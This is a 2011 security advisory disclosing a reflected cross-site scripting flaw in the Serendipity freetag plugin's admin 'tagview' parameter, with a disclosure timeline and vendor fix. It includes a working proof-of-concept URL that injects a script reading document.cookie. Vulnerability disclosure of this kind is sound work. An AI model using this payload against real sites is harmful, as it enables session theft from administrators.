Advisory:              Serendipity freetag plugin 'serendipity[tagview]' Cross-Site Scripting vulnerability
Advisory ID:           SSCHADV2011-016
Author:                Stefan Schurtz
Affected Software:     Successfully tested on Serendipity 1.5.5
Vendor URL:            http://www.s9y.org
Vendor Status:         fixed
CVE-ID:                -

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Vulnerability Description:
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The freetag plugin parameter "serendipity[tagview]" in Serendipity backend is prone to a Cross-Site Scripting vulnerability

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Technical Details:
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http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=<script>alert(document.cookie)</script>

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Solution:
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Update to the latest version

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Disclosure Timeline:
====================

22-Sep-2011 - informed developers
23-Sep-2011 - fixed in the latest version
25-Sep-2011 - release date of this security advisory
25-Sep-2011 - post on BugTraq

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Credits:
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Vulnerability found and advisory written by Stefan Schurtz.

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References:
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http://www.s9y.org
http://www.rul3z.de/advisories/SSCHADV2011-016.txt